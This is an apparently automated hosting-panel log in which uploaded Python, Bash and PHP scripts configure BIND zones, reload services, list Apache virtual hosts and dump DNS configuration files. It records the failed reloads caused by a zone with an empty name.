MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-11 00:31:27: 

PUT: /tmp/pkp899606

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '26d0b9e50bf0aadee17752807d692a2e'
ZONE_NAME = ''
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-06-11 00:31:27: 

chmod 755 /tmp/pkp899606; /tmp/pkp899606; rm /tmp/pkp899606

2026-06-11 00:31:27: 


rndc: 'reconfig' failed: failure




STDERR:
rndc: 'reconfig' failed: failure


2026-06-11 00:31:27: 

PUT: /tmp/pkp837229

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2026-06-11 00:31:27: 

chmod 755 /tmp/pkp837229; /tmp/pkp837229; rm /tmp/pkp837229

2026-06-11 00:31:27: 


status=Reloading BIND9
Job for named.service failed.
See "systemctl status named.service" and "journalctl -xeu named.service" for details.




STDERR:
Job for named.service failed.
See "systemctl status named.service" and "journalctl -xeu named.service" for details.


2026-06-11 00:31:27: Establishing a connection
2026-06-11 00:31:30: 

PUT: /tmp/pkp913007

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '26d0b9e50bf0aadee17752807d692a2e'
ZONE_NAME = ''
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-06-11 00:31:30: 

chmod 755 /tmp/pkp913007; /tmp/pkp913007; rm /tmp/pkp913007

2026-06-11 00:31:30: 


rndc: 'reconfig' failed: failure




STDERR:
rndc: 'reconfig' failed: failure


2026-06-11 00:31:30: 

PUT: /tmp/pkp445353

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2026-06-11 00:31:31: 

chmod 755 /tmp/pkp445353; /tmp/pkp445353; rm /tmp/pkp445353

2026-06-11 00:31:31: 


status=Reloading BIND9
Job for named.service failed.
See "systemctl status named.service" and "journalctl -xeu named.service" for details.




STDERR:
Job for named.service failed.
See "systemctl status named.service" and "journalctl -xeu named.service" for details.


2026-06-11 00:32:25: Establishing a connection
2026-06-11 00:32:25: 

PUT: /tmp/pkp779720

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-11 00:32:26: 

chmod 755 /tmp/pkp779720; /tmp/pkp779720; rm /tmp/pkp779720

2026-06-11 00:32:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-11 00:32:26: 

PUT: /tmp/pkp952726

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/anassnamedgrace_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-11 00:32:26: 

chmod 755 /tmp/pkp952726; /tmp/pkp952726; rm /tmp/pkp952726

2026-06-11 00:32:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/anassnamedgrace_www_com.conf	557

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-06-11 00:32:26: Establishing a connection
2026-06-11 00:32:26: 

PUT: /tmp/pkp492743

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-11 00:32:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp492743; rm /tmp/pkp492743'

2026-06-11 00:32:26: 
2026-06-11 00:32:26: 

PUT: /tmp/pkp807651

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/bind/named.conf.local')
    show_file('/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf')
    show_file('/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-11 00:32:26: 

chmod 755 /tmp/pkp807651; /tmp/pkp807651; rm /tmp/pkp807651

2026-06-11 00:32:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local	5152
//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info
include "3d53240606bf6359dd62d3ebf20afc18.conf"; # patientapps.com
include "cf381d1fff06090b5818429e32e6000e.conf"; # 
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "26d0b9e50bf0aadee17752807d692a2e.conf"; # 


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf	235
# this is an automatically created file: manual changes will be overwritten.
zone "" IN {
  ##owner ;
  type master;
  file "26d0b9e50bf0aadee17752807d692a2e.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt	90
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= a9eb6abe1550fd2e8cb8febda654eeb6
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
